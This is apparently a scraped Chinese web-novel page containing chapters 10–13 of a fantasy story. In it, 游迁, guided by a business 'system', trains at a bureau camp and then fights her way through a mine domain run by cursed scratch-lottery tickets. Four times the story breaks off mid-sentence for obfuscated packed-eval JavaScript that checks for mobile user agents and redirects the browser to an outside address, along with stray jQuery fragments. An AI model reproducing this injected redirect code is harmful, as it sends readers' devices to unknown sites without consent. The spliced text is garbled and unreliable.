l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515374|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“当然！现在已经不是用异能等级卡人的时代了，每个异能都有它的优势。更何况大灾变后，异能者数量，尤其是高阶异能者的数量，一直在减少。” 吴瑰说到这，轻微地叹气。 “扯远了，扯远了，要是进异能者学院，你肯定有光明的未来。当然如果你不想花很长时间学习，也可以考虑报名管理局的短期特训营。” “这个短期特训营面向广大矿工，免费的，会教授一些实用的污染物知识和格斗技巧。结束培训后可参与考核，通过考核者有望被管理局收为巡查队队员，就是薪资会比学院毕业生低一些。” “这个特训营我现在可以报名吗？” “可以的，我等会儿把报名表发你。” 吴瑰嘿嘿傻笑，带教吩咐她的招人任务总算完成了。上头对短期特训营都有月指标，得拉满一定人数才行。 无意之中成为管理局kpi的游迁很快恢复好，失去了她的病患待遇，被打包送入短期特训营。 度过了她生命中较为难忘的五天。 * “我不行了。” 结束一天的训练课程，关花开摇摇晃晃地从训练台上下来，八爪鱼一样扒在地板上。 “你压到……我的腿了。”一旁的游迁有气无力地说道，她倚靠在白墙边，沾满汗水的前发有气无力地垂落。 “不挪，除非给这个数。” 关花开朝游迁张开五指。 游迁用眼神锤了下关花开的手，从边上取出袋营养液，费劲地用牙咬开包装。 水冲散喉中的血腥味，游迁又取了包，放到关花开手上。 “你今天怎么想到来这训练了？” 关花开撕开包装就把水咕嘟咕嘟往里灌： “姐们儿我之前就有训练的打算了，就是没时间。正好现在矿洞活跃期，周围的活都被矿工们抢的差不多了，我就想着来训练训练，以后下矿也多一层保障。” “你弟呢？” 游迁记起关花开还有个双胞胎弟弟，当初下矿时，花开富贵姐弟俩把她跟小鸡仔一样架起来的场景历历在目。 关花开虚弱地摆摆手：“在家照顾我妈呢，这些精细活得他来，我可做不了。” “这样……” 没照顾过家人的游迁不懂装懂地点头，双目放空了半晌，从兜里掏出张叠的四四方方的纸。 “这么说，你这段时间没活干？” 关花开反驳道：“喂，什么叫没活干？姐们儿我也有花时间在我自己身上好吧，就那什么，提升自我。” “好，提升自我。”游迁把纸摊开，递到关花开面前，“那你还有空吗？我想雇你帮我干点事。” “都什么年代了，还用这种纸合同，还有，你是把上次骗我的事忘记了吗？” 话虽如此，缺工作的关花开还是把脖子伸长，凑过去仔细阅读合同条款。 “帮忙留意云山赌场的追债人动向，每月一千五百联邦币，每找到一条有用情报奖励五百联邦币。” 关花开抬头，满脸狐疑地打量游迁。 “你上哪发财去了？哪来这么多钱？” “这两天帮管理局处理了些事，找她们预支的，我反正是受够那些追债人了，上次来追债，我差点没命！”游迁从兜里取出一支笔，“别人我信不过，关姐你和我合作过，也算知根知底，这次我保证不坑你，签合同后就转七百五给你。” “真的？” 关花开盯着游迁的眼睛，又瞅瞅手里的合同。 云山赌场……她之前为了堵游迁，去过十几次，次数多了，也认识几个追债人，干这个活也算轻松。 “真的，我现在人就在你面前，骗你做什么？” 这么想也是。 关花开坐直，保持随时可以起身追人的姿势，盯了会儿合同，拿笔签上自己的名字。 “钱转你了。” 关花开打开通讯器，发现余额确实多了七百五十联邦币，这才放下心，把合同递给游迁。 她不知道的是，在员工合同给出的那一刻，游迁就唤醒了脑中的系统。 “系统，我的主线任务完成了吗？” 10. 刮刮乐（一） 【未检测到任务完成，该员工不符合任务要求】 “主线任务只要求我重新找员工，没有对员工资质作出任何要求。” 【感谢您的反馈，现进行修正】 【主线任务二招募员工 任务介绍：虽然您已经将欠薪归还员工，但您的员工依然决定跑路。一家企业不能没有员工，请在规定期限内重新招募员工。（注意！该员工必须百分百忠于您，并具有强烈的劳动意愿，能在您需要时随时为您服务） 任务限期：40天 任务进度：0% 任务奖励：C级异能】 游迁看着新增任务要求，陷入沉默。 这哪是招募员工，旧社会奴隶都罪不至此，还百分百忠于老板，哪个007的牛马不会在心里痛骂老板？ 游迁冷脸道：“系统，因为你的疏忽，我浪费了很多时间和精力，你的失误让我找错了方向。” 【抱歉，发布任务时宿主处于新手期，系统需将主要能量用于为宿主答疑，查验系统处于休眠状态。现在宿主已脱离新手期，查验系统恢复，系统将自动更正任务内容，确保已有及后续任务发布准确无误】 “你难道不应该给我些补偿吗？” 【应宿主要求，主线任务二完成后，宿主将拥有一次临时提升异能的机会。您可以任选某一异能，暂时提升异能等级至B级】 “这还差不多。” 游迁奸笑着，把营养液全部喝完。 训练结束，她得好好休息，确保后天下矿时，体力恢复至巅峰水平。 虽说恢复针剂可以让人快速恢复，消除身体酸痛，但一针恢复针剂要两千，大多是专职解决领域的异能者在用。 现在也不是什么紧急情况，她还是老实休息等人体自然修复吧。 活跃期矿洞存在污染物，这又是游迁第一次正式下矿，怪紧张的。 游迁虚弱地攥了下营养剂包装袋，扶腰起身，颤颤巍巍地把包装袋丢入垃圾桶。 * 对于这次下矿，管理局的一小撮人也有些紧张。 管理局担心临时矿工们在去矿区的路上出事，安排了人手确认各队情况。 “二十六号采矿小队已抵达。” “收到。” 吴瑰为了学分，哪里需要哪里搬。 她接下确认采矿小队到任情况的活，在通讯器的电子表格中勾勾画画。 “二十七号采矿小队已抵达。” “好滴。” 游迁在的那队也到了，表格内的最后一队顺利抵达，吴瑰打上勾，身体放松地仰靠在座椅椅背。 一切顺利的感觉真好啊…… 吴瑰放松身心，无聊地在脑中计算自己离毕业还差多少学分。如果这学期一门都没挂，是不是可以直接毕业。 联邦大学异能者学院有两套毕业标准。低于B级的低阶异能者100学分毕业，B级以上的高阶异能者150学分毕业。 吴瑰在联邦大学异能者学院读了三年，这是她第六个学期，算上这次外出实习，她还需要36学分。 这36学分看似十分难挣，实际也一点都不好攒。 据统计，异能者学院每门课的平均挂科率为73.61%。学生如果不幸挂科，还会被扣去1学分，以示惩戒。 一学期的课上完，总会有批学分只减不加的学生，跑到校园论坛哭天抢地。 自考上异能者学院，吴瑰每天上课都战战兢兢，如履薄冰。没课跑来实习，参加学校各种项目。 三年下来，总算攒下了这点学分，有望在异能者学院平均毕业年限前拿毕业证。 按照异能者学院学生手册，一名学生理想的就读年数为两年半。 然而理想很丰满，现实很骨感，学生们实际要花两到三倍的时间，才能满足学分指标，成功毕业。 而只要毕业，异能者学院的学生就会迎来大好前途。 平均八万联邦币一个月的毕业生薪资，强大的校友资源，崇高的名望……你想赚钱也好，想名留青史也罢，毕业都可能实现。 吴瑰靠在管理局邦硬的木椅上，想到毕业后的美好生活，心里乐得放烟花。 通讯器滴滴响，吴瑰龇着牙接通： “这里是城市建设开发管理局，请问有什么事吗～” “领域！矿区深层的领域扩散了！！！” * 13号矿点，游迁正攥着绳索，往下挪。 她身上背着这次下矿的工具和保命用的冷兵器，肩上沉甸甸的。从入口滑落到矿底的瞬间，地面微微震颤。 队友陆续落地，矿底尘土飞扬。 这次下矿共计五人，都是低阶异能者，两名C级三名D级。 队长周鹰浅，女性，C级异能促销活动，可以降低选定目标的攻击、防御和速度，最低降为原有的10%。每次使用异能会提升自身污染度，提升幅度视异能使用情况而定。 副队长王福，男性，C级异能小幸运。该异能一直处于发动状态，可使异能者本人变得幸运，避开对己不利的事件。 活跃期前，王福带领正式矿工下矿数次，只遭遇过三次污染物，管理局便把接连遭遇领域的游迁打包，送入王福所在的队伍。 “王福，你这异能可真不错，活跃期下矿，落地没撞见半只污染物和畸变物。” 队员们对矿点环境进行简单的检查，矿点内没有发现可疑物种，云蓝的原矿静谧地等候人类开采。 “一点小运气罢了，只能帮我规避危险，招不了财。” 王福半是谦逊半是惋惜地感慨，他的异能带来了许多便利，但这远远不够。 他想要钱，想要不付出劳动就能衣食无忧，而不是替人避开风险后得到几句轻飘飘的夸赞。 检查完毕就该开采了，王福将手腕上的招财珠串往里塞，藏到防护服内，以免开采扬起的灰尘弄脏珠串。 灰尘要防，运气不好的人也要防，要是离倒霉鬼太近，没准会损害对他的好运气，他还指望着好运积少成多，积气招财呢。 队员分散开，王福余光留意游迁的位置，最后选了处离她最远的位置。 矿镐噼里啪啦地砸在原矿上，原矿表面被凿出小口，还要花些力气，原矿内的能源石才能被彻底挖出。 许久不干挖矿的活，王福举着矿镐，手臂发酸。以往他都是充当监工的角色，谁知道这次不能在旁边傻站着了，得实打实地卖力干活。 要是能用机械就好了，联邦高层那帮吃干饭的，大灾变后过去一百年了，还没研究出精密机械在矿洞中失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515375|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵的原因。可怜他王福，现在只能纯手工挖矿。 钱……毫不费力地赚钱，去挥霍，去享受，去过梦寐以求的生活。 听到王福内心的渴求，岩壁裂开条缝，自上而下，贯穿整块原矿，像是张竖着的笑脸。 “这是什么？” 王福眼尖地从缝隙里看到一抹红，似乎是某种纸张。 他在喊人帮忙和自己处理之间摇摆不定，最终选择折中，先敲碎原矿把“红纸”取出，遇到不对再找其她人一起处理。 矿镐再度敲击，裂缝扩大，咧开狰狞的笑。 一张红纸从缝隙中掉出。 王福远远地瞥去，红纸表面光滑。 纸面正上方用亮黄色字体标注出“刮刮乐”“奖品种类丰富”“最高可赢千万奖金”。 千万奖金这几个字眼抓住王福的眼球，他干咽了口唾沫，心道自己这异能总算招来了点财运。 对钱财的渴望战胜了王福微薄的警惕心，他捡起刮刮乐，两眼放光地看刮刮乐的奖品栏。 “一万联邦币、五万联邦币、二十万联邦币……” 刮刮乐上可刮的地方共计六处，王福用指尖小心刮去第一处。 【一万联邦币】 几乎是同时，王福面前多出沓联邦币。 这张刮刮乐果然是污染物品！还是能给他带来财运的那种！ 王福赶忙趴到地上，把一万联邦币拢进怀里，贴身放好。 接着，他深吸气，一鼓作气将刮刮乐剩余五处刮了个干净。 依次刮出了【无事发生】【一万联邦币】【无事发生】【五万联邦币】【一万联邦币】 王福摸着兜里的钱，心道这件污染物品可真是个宝贝。 只可惜就那么一张，要是再来几张，他王福马上就能暴富，辞掉这挖矿的鬼工作。 王福正这么想着，耳畔忽地传来矿石碎裂的声音，再回头，裂缝中又多出一沓刮刮乐。 真是上天眷顾他！ 王福直伸出手，把刮刮乐从岩缝中“抢”了过来，搓搓手就开始刮。 只是这次，他的运气要差上许多。 王福依次刮出：【无事发生】【污染物*1】【无事发生】【一万联邦币】【污染物*1】【无事发生】 没刮出多少钱也就算了，居然还刮出了两个污染物。王福臭着脸，决定无视刮刮乐上的两只污染物，伸手去取下一张。 刮刮乐卡在岩缝中间，被死死压住。 王福用上挖矿的力气，却怎么也抽不出。 “怎么回事？怎么卡住了？” 就在他和被卡住的刮刮乐作斗争时，在他身后，被刮过的两张刮刮乐悄然变化。 鬣狗模样的污染物撕裂纸面，扑咬向王福。 “见鬼！” 王福依靠幸运异能，左脚绊右脚，躲过一劫，他抽出腰间的匕首，在空中杂乱无章地挥砍。 好运生效，鬣狗形污染物被砍中，暂时无法前进。 王福见状，握紧匕首，正打算乘胜追击，后腰却一凉。 他下意识扭身。 污染物的獠牙贯穿他的腰身，沾了血的联邦币散落，一地玫红。 许久，污染物松嘴，放开早已死透的猎物，目光在矿洞中游弋，寻找起下一个猎物。 11. 刮刮乐（二） 周鹰浅认为自己进领域了。 具体表现为顺着绳索往上爬，出不了矿洞；大声呼唤队友，队友跟聋了一样，没有任何回应。 第一次带队下矿就出了这种事故，周鹰浅难免有些失落。 不知道其她队员怎么样了，有没有遭遇危险？或是被卷入别的领域？ 特别是那位名为游迁的队员，听管理局说，游迁刚刚觉醒D级异能不久，需要多加关注。 各种各样的担忧之下，周鹰浅看见岩缝中夹着一张红纸。 想要破解领域，有时要顺着领域的逻辑行动。 周鹰浅做好防护，身体紧绷，两指小心翼翼地探入裂缝，就像只受惊的猫，飞快地将那张红纸抽出。 “刮刮乐？” 如果她记得没错，这应该是大灾变前人类社会高度繁荣的产物。 在大灾变后，人类可以使用的土地有限，纸张变得昂贵。刮刮乐这种旧时代的娱乐产品也脱胎换骨，不再使用纸张作为媒介，而是居家迁移到信息网络之中。 虽然承载媒介发生了改变，但刮刮乐的本质还是共通的。人花一点钱，去赌中奖暴富的机会，尽管这个机会近乎于无。 周鹰浅把这张刮刮乐来回翻动，仔细阅读其上信息。 刮刮乐 奖励：一万联邦币、五万联邦币、二十万联邦币以及神秘大奖。 刮刮乐的背面有一行小字： 兑换完所有的奖品，才能领取下一张刮刮乐。 看到这行小字，周鹰浅意识到两点： 1、这种刮刮乐不止一张，刮完还会有新的。 2、刮出的“奖品”可能具有危险性。 周鹰浅刮去三处，分别刮出：【无事发生】【污染物*1】【无事发生】 异能者学院教授她们，面对领域规则时，要灵活变通。 在刮完六处前，周鹰浅选择领取奖励。 蠕虫外貌的污染物平空出现，周鹰浅立刻选中蠕虫，使用异能促销活动，将蠕虫的速度降低至60%，侧身避开致幻的毒液，匕首削掉蠕虫的口器，刀身一反，将蠕虫从中劈开。 蠕虫类污染物生命力顽强，一击难以致命，周鹰浅重复着逼开毒液和劈砍的动作。 在蠕虫污染物彻底死亡之际，她长呼出气，从包中取出绷带，对被溅到毒液的皮肤进行简单包扎。 这只蠕虫污染物的实力属于安全级，如果一个领域存在的安全级污染物不超过三只，那么领域域主的等级大概率是低危。 反之，如果领域内安全级污染物超过三只，或者出现了除域主外的低危污染物…… 那么领域域主至少是个即将晋升为中危的污染物。 周鹰浅刮开剩余部分： 【治疗一次】【无事发生】【污染物*1】 居然还有治疗奖励？ 周鹰浅盯着刮出来的【治疗一次】，想用却不敢用。 使用领域内的力量治疗，有时会造成某些不可挽回的后果。 还是继续打污染物吧，她猜测领域域主就藏在神秘大奖中。 前面这些污染物挑战和联邦币奖励，是在替域主筛选强大又心存贪念的人，好打包送到领域域主面前当口粮。 周鹰浅的目标就是撑过前面的刮刮乐，抽中神秘大奖，把身边所有的强化针剂用上，和领域域主决一死战。 在刮下一张刮刮乐前，周鹰浅得先解决刚刚刮出来的污染物。 选择兑奖后，周鹰浅戒备地站在原地。 这次的污染物没有突然攻击她，周鹰浅紧攥匕首，目光在四周逡巡。 她看不见污染物，却能感知到它的存在。 气泡被戳破的声音偶尔响起，周鹰浅静心去捕捉污染物的一举一动，并在脑中飞快比对。 能隐身，叫声与此类似的污染物…… 呼吸逐渐变得困难，脖颈被扼住。 周鹰浅想起来了，这种污染物曾经出现过，被命名为蓝影，危险度为低危！ 它溶于空气，身体带有污染性，只有主动攻击人时才能触碰到。 被扼住致命部位的周鹰浅奋力挣扎，她肘击挣脱，想要反击时，这只低危级的蓝影早已松开了她。 周鹰浅弓背立于原地，汗浸透了她的员工服。 出现低危级污染物，领域域主至少是个即将晋升为中危的污染物。 她……真的能战胜域主吗？或者说，她真的能活到救援的那一刻吗？ 时间在对峙的过程中被无限拉长，周鹰浅明明没有被攻击，却无端地有些喘不上气。 咔嚓—— 周鹰浅下意识握拳反击，手却挥了个空，她恢复到原本的姿态，余光瞥向噪音的来源。 新的刮刮乐掉落在地，金黄字体鲜活得像是要跳出纸面。 刮刮乐 奖励：神秘大奖（见到域主）。 周鹰浅后撤一步，踩到旧的刮刮乐，下方的“污染物*1”被盖上已中止，还画上了一个歪歪扭扭的笑脸。 【鉴于下一轮存在神秘大奖，本轮兑奖中止】 【若下一轮刮出神秘大奖，本轮兑奖废除；若未刮出，该奖励累加至下一轮】 笑脸金灿灿的，印在大红色的油纸上，本该是很喜庆的，却莫名让人心生退意。 周赢浅攥紧手指。 不行，她不能后退。 管理局救援需要时间，这个领域不知道殃及了多少人，拖得越久，危害越大。 她深呼吸，捡起地上的刮刮乐，用指尖刮开上面一排。 她分别刮出了：【无事发生】【无事发生】【治疗一次】【污染物*1】【污染物*1】 周鹰浅咬唇，担心这轮自己无法刮出神秘大奖，之后被污染物耗尽体力，再无机会解决领域。 又怕自己无法战胜域主，成为领域内的亡魂，化作域主晋升的养料。 在各种忧虑之下，她刮开了最后一处。 【恭喜你！你获得了神秘大奖！】 【现在你可以见到域主了】 周鹰浅环顾四周，寻找域主的身影。 眼前的画面开始模糊，她的注意力也变得难以集中。 这是域主接近带来的污染度飙升，属于正常现象，她接受过有关训练，可以在一定污染度下与污染物战斗。 体积大的污染物好找，打起来也相对轻松，而体积小的污染物就比较烦人，寻找的困难程度不亚于在喝醉酒时把钥匙插入门锁。 所以，这个领域的域主到底在哪？ 域主迟迟不出现，周鹰浅的污染度却在不断上升。 她开始怀疑，是不是自己想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515376|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错了，这个神秘大奖根本就是骗人的，她见不到域主，这只是个普通的污染物，或者是域主的某种攻击手段。 到底是哪里出了问题？领域就那么大，域主会藏在哪？ 诸多疑惑之下，一道声音从她脑中传来。 【我来找你啦】 * 第三次被卷入领域，游迁对此已然麻木。 她拿矿镐敲击岩壁，原石毫发无损，硬度发生了质的飞跃。 要是能再质变一下，变成钻石就好了。 游迁在心底许愿，再度睁眼，眼前的石头还是石头。 ……好歹变一下模样骗骗她呢？她也想体会点石成金的感觉。 岩缝中的红纸被风掀起一角，竭力彰显存在感。 游迁老早就瞅见了，那红纸上写着刮刮乐，三个烫金大字，生怕别人看不见似的。 刮刮乐，名字起的挺可爱的，但本质还是赌，只不过金额小，赌输了的后果也没那么严重。 原主因为赌而倾家荡产、负债累累，游迁可不想重蹈覆辙。 游迁站在那看天望地，给矿镐做保养，就是不理会那张被风刮得翻来覆去的刮刮乐。 她估计这张刮刮乐承载着领域大部分的规则，她去刮，八成就中了域主的圈套。 至于不去接触这张刮刮乐所产生的不利后果，和被卷入领域深层规则相比，可以说是微乎其微。 不然这张刮刮乐也不会舞得那么欢，恨不得下一秒就拍到她手上。 她是不会去主动碰刮刮乐的！这辈子都不会！ 【触发支线任务刮刮乐】 【支线任务名称刮刮乐 任务介绍：究竟是怎样的刮刮乐，能在地底世界大受欢迎？这样的商业模式值得学习，请找到刮刮乐的发售者，和它探讨吸引顾客的奥秘。 任务限期：10小时 任务奖励：将异能“乖，留下加班”提升至C级】 但话又说回来了，人不能这么死板，总是要变通的嘛。 略微脸疼的游迁向系统友善发问： “系统，你这支线任务时间发得挺巧的哈，要是我直接触碰这张刮刮乐，你就不会发布任务了？” 【请宿主不要恶意揣测系统，系统判断领域是否含有经营因素需要时间，任务发放可能会延迟，但绝不会缺失】 游迁敏锐地捕捉到关键词：“你是说，只要是含有经营因素的领域，都会触发支线任务。” 【并非所有含经营因素的领域，要视宿主当前综合实力而定。如果领域危险程度偏低，或与主线任务重合，则不会触发支线任务】 “如果领域危险程度高于我的综合实力呢？” 【您将获得更加丰厚的任务奖励，但不建议宿主尝试】 “知道了，我不是那么冒进的人，不会主动接触高危险性的领域。”但自己找上门的领域就另说了。 游迁重新看向那张刮刮乐，两指一夹，从岩缝中取出刮刮乐，翻看上面的奖励和小字标注的注意事项。 总觉得有大坑。 她使劲一撕，整张红纸毫发无损。 讨不了巧，游迁只能老老实实地刮。 当老板要实力也要运气，也不知道她在这个世界运气如何。 抱着几分期待，游迁缓缓刮开覆盖层。 12. 刮刮乐（三） 刮刮乐上显示： 【污染物*1】【污染物*1】【污染物*1】【污染物*1】【污染物*1】 【恭喜您，成为首位连续抽出五只污染物的顾客！】 游迁木着脸收回手。 谁说运气就是一切呢，当老板，实力才是关键。 还好看到了小字，可以一只一只慢慢解决…… 谁知，刮刮乐上的文字再度变化： 【恭喜您，五连抽有隐藏奖励！我们将额外赠送您一只污染物！】 【集齐六只污染物，超过刮刮乐存量，现在统一发放奖励！】 游迁当即施展异能，下一秒，三条费巴诺条纹蛇停住，毒牙停在她鼻尖一厘米处。 没时间感到害怕，她要控制住六只污染物，并且有两只的危险等级不低，留给她的时间不会超过八秒。 匕首猝不及防地来到半空，锋利的刀刃割破要害。费巴诺条纹蛇的要害在蛇七寸偏上的位置，那里骨刺稀少，可以被快速斩断。 被斩成两截的三条费巴诺条纹蛇头尾仍在弹动，它们被钉在游迁身后的变异植株上。 空间有限，两株粗壮的变异植株相互缠绕，匕首仅在其上留下一道浅痕，腐蚀性酸液外溅。 游迁来不及拔匕首，她立马收手，但酸液还是溅到她手上。 钉在变异植株上的蛇承受了大部分酸液，外皮被腐蚀，骨刺外露，上面黏连着肉沫，散发出腥臭。 这两株变异植株危险程度逼近低危，游迁死盯着它们，搜肠刮肚地回忆。 这几天，她恶补了污染物有关知识，把常见的品类都混了个眼熟。 无叶片仅有青绿色果实的是剧腐枝蔓，果实可投掷，果实在投掷过程中会自发裂开，内有腐蚀性酸液。 开有许多粉紫花朵，花朵形状和喇叭类似的是迷魂藤，藤上的花朵会散播致昏性花粉。吸入过多者会昏迷，昏迷期间，体内污染度持续升高。 福无双至，祸不单行。除了这两株污染植物，刮刮乐额外赠送的污染物也不是好惹的货色。 异能“乖，留下加班”的控制效果视控制对象而定，对于低危级污染物，该异能无法完全控制它们。 刮刮乐额外赠送的低危污染物是一只石化蝙蝠。高度的污染吞让它的眼睛畸变，橙黄的兽瞳挤占全部身躯，只留两只枯瘦的翅膀。 异能生效期间，那两只翅膀仍在扑腾，它躲在剧毒枝蔓和迷魂藤之间，一个很容易被忽视的地方。 游迁嘴唇发紫，控制过多的污染物给她的身体造成不小的负担，她透过相互交织的枝蔓，和那双可怖的兽瞳对视。 异能失效。 兽翼撕开藤蔓，不过半秒，游迁面前出现一道橙黄的竖线。 它来到了她的面前！ 游迁没有闪躲，也无从闪躲，她的四肢变得僵硬，灰白从眼下长出，以极快的速度向四周蔓延。 身体变得沉重，她倒落在地，变成一樽石雕。 石化蝙蝠不再挥动翅膀，它停在游迁身上，停在仰躺在地面的石雕之上，等待她彻底石化。 这是石化蝙蝠的习性，和它对视的人类会石化。石化从皮肤表层开始，蔓延至深处。 等人彻底变作石雕，石化蝙蝠会扬起翅膀，将人体砸出狭小的凹槽，作为栖居的洞穴。 此刻，石化蝙蝠停在她身上，翅膀啪嗒啪嗒地拍击，兽瞳目光呆滞，似乎在思考未来的洞穴开在哪比较合适。 突然，石化蝙蝠尖啸出声，翅膀如雨伞般收缩，堪堪躲开后方飞溅而来的酸液。 石化蝙蝠用毛茸茸的翅膀狠狠拍地，朝不长眼的剧毒枝蔓表示愤怒。 剧毒枝蔓不理睬这只又小又扁的污染物，它需要人类的躯体作为养料。 人类有限，先到先得。 酸液不断射出，覆盖到游迁全身。 石化蝙蝠气愤地尖叫，它在空中四处飞舞，试图替“未来洞穴”遮住酸液。 可惜，剧毒枝蔓的酸液不会因为对方也是污染物就手下留情，石化蝙蝠的翅膀被腐蚀得凹凸不平，它叫唤着，兽瞳内满是痛苦。 屋漏偏逢连夜雨，它正在空中飞着，禿毛的翅膀忽地一折。 黄橙橙的兽瞳往后转，一只带有灰点的手擒住它的翅膀，残忍地将翅膀往后折。 那只手一点一点地往前，指尖刺入石化蝙蝠最珍惜的眼。 它挣扎，它试图让那只手重新石化。 但无济于事。 生命缓慢流逝，粘稠的血浆顺着布满灰白石斑的手臂滑落。 僵直的手臂举着石化蝙蝠的尸身，缓缓移动至心口。 石化蝙蝠的血滴落，石屑剥落。 听说石化蝙蝠引发的石化极难解除，哪怕是浓度极高的酸液也只能暂时扼制石化的进程。要解除，只能浇灌石化蝙蝠的□□。 她本来也只是赌一把，赌石化状态可以帮助她抵御剧毒枝蔓的酸液，平稳度过异能冷却期。 没想到真的被她赌对了。 解除石化的游迁活动五指，将果冻手感的石化蝙蝠丢至一旁。 她避开空中的酸液，对剧毒枝蔓使用异能。 两株污染物植株，剧毒枝蔓具有直接攻击性，而迷魂藤通过散播致昏花粉攻击，只要确保不过多吸入花粉即可。 游迁用衣领掩住口鼻，四周按严实，接着从包内抽出铁铲，靠近剧毒枝蔓，在异能的时效内挖出它的部分根系，斩断。 低危以下的变异植株大多无法脱离根系存活，很快，剧毒枝蔓失去了活性。 游迁如法炮制，将迷魂藤的根系砍断，然后倚靠在远离污染物尸体的岩壁上，恢复体力。 狭小的领域内，站着一个半死不活的她，躺着六具污染物的尸体。 危机结束，肾上腺素退去，疼痛找上门，游迁龇牙咧嘴地给自己包扎。 再检查了一遍，确认污染物都已经死亡，游迁隔着绷带从酸液中捡起刮刮乐。 刮刮乐被酸液腐蚀得七零八碎，她捞起一部分，刮刮乐就自行拼回，完好如初。 刮开最后一处，是“治疗一次”。 游迁捏着用完了的刮刮乐，用吃烤鸭蘸酱的手法，又蘸了一次酸液。 刮刮乐破损。 游迁把刮刮乐拿开，找块石头蹭掉上头遗留的酸液。 几秒后，刮刮乐又恢复如初。 这张刮刮乐应该就是域主污染的媒介，域主通过刮刮乐，将污染物输送过来，使接触者受到污染。 域主很可能不具备主动污染人的能力，只能通过人主动去触碰刮刮乐。所以才会在污染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515377|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物之外，设置其他奖励。 但……其他奖励的作用只有吸引人继续玩刮刮乐吗？ 那为什么不设置成除了污染物都是奖励，人类既然已经被污染领域捕捉，除了击败域主，几乎没别的方法脱离领域。 即使没有这些奖励，被困在这的人为了寻求生路，早晚会去刮这张刮刮乐。 还是说，这些看似不危险的奖项，实际有别的作用。 岩缝中又冒出新的刮刮乐，不止一张。 游迁从兜里掏出打火机，点燃新鲜出炉的刮刮乐。 火焰在红纸上留下乌黑，但只要将打火机挪走，火势便小下来，红纸复原。 游迁抽出恢复最慢的刮刮乐。 新的刮刮乐总体布局和上一站类似，唯一的不同，就是奖项，那里没有文字，只有串意味不明的省略号。 这可不是什么好兆头。 游迁手指停顿了一瞬，还是决定继续刮。 当前，刮刮乐是唯一的信息来源，停止刮开刮刮乐虽然能保证一时的安全，却也会导致信息的中断，无法完成系统发布的任务。 【任意一个问题的答案】 游迁继续刮，银灰的碎屑抖落在地。看到第二个“奖项”，她一时间有些无语。 【倒扣一千联邦币】 摸了摸外套内兜，那里空荡荡的，原本放在那应急用的一千联邦币不翼而飞。 真是饱含恶意的奖项，无论第一项和第二项，都是恶意满满。 在认识到这里是领域、却找不到域主的前提下，中奖者第一反应是询问领域域主在哪，她也不例外。 但谁能保证，刮刮乐提供的是正确的答案，毕竟刮刮乐上只是说提供答案，没有说提供的是正确的答案。 提供错误的答案，让人一步步走入污染物的陷阱，恐怕才是这个奖项设立的目的。 在不能辨别答案的情况下，该如何提问，才能避开陷阱，并将奖项的作用发挥到最大？ 骨节分明的手攥住刮刮乐，红纸被攥出“川”字。 “我想知道，在我知道、但没有真实触碰过的污染物里，哪个最具危险性？” 游迁心中为这个问题预设了三个答案。 第一个答案是某不知名污染物的名称，也就是这个领域域主的本名。 她来到这个世界的时间不长，哪怕恶补了矿洞内常见污染物的有关知识，知道的也十分有限。 更何况，被联邦记录下来、重复出现的污染物，大多是安全级污染物，只有极少数达到了低危。至于中危、高危乃至天灾级别的污染物，它们独一无二，无法通过既有的经验去应对，这些污染物的资料也被封存，不为公众所知晓。 如果她没有真实触碰过这个领域的域主，领域域主的名字就会显现，危险程度是最低的。 第二个答案是出现某个她知道，但并不是她所认为的最具危险性的污染物。 如果给出这类答案，至少说明领域域主确实会在刮刮乐上说谎。 至于第三个答案…… 游迁低头看红纸。 红纸顶部，字体逐渐浮现。 答案映照在游迁幽深的瞳孔内，她松手，将刮刮乐丢至地面，从包中取出最小的一把匕首。 她大概知道域主在哪了。 13. 刮刮乐（四） 【秘银树根】 秘银树根虽然只有低危，但它可以让人陷入过去无能为力的时刻，如果真的因此心灰意冷，将被永远地困在过往之中，最终脑死亡。 倒不是游迁没自信，而是她以往无能为力的时候太多，再全部经历一次，属实折磨人。 秘银树根是她进入这个领域前，最不想遇见的污染物，也是刮刮乐上浮现出她脑中所想的、最具危险性的污染物。 这意味着，领域域主可以读取她脑中的部分记忆，并且她真实地触碰过这位域主。 刚开始，她无法对刮刮乐造成任何损害。 随着奖项被逐个刮开，刮刮乐开始出现破损，虽然最后破损都会被修复，但毁损实打实地出现了。 相隔五百米的人同时挥拳，不可能击打到对方，相隔半米的人却可以。 她和域主污染物的联系在不断加深，而这种联系不是通过直接接触刮刮乐导致的，早在进入领域时，她就对刮刮乐使用过异能。 